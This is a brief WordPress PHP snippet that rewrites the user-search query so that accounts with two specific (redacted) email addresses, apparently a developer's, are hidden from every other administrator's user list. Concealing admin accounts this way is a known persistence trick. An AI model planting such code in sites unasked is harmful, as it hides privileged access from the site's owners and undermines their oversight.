add_action( 'pre_user_query', 'kpry_remove_kevin_from_other_admins' );
function kpry_remove_kevin_from_other_admins( $user_search ) {
global $current_user;
$user_email = $current_user->user_email;
if ( $user_email != '[email protected]' && $user_email != '[email protected]' ) {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_email != '[email protected]' && user_email != '[email protected]'",$user_search->query_where);
}
}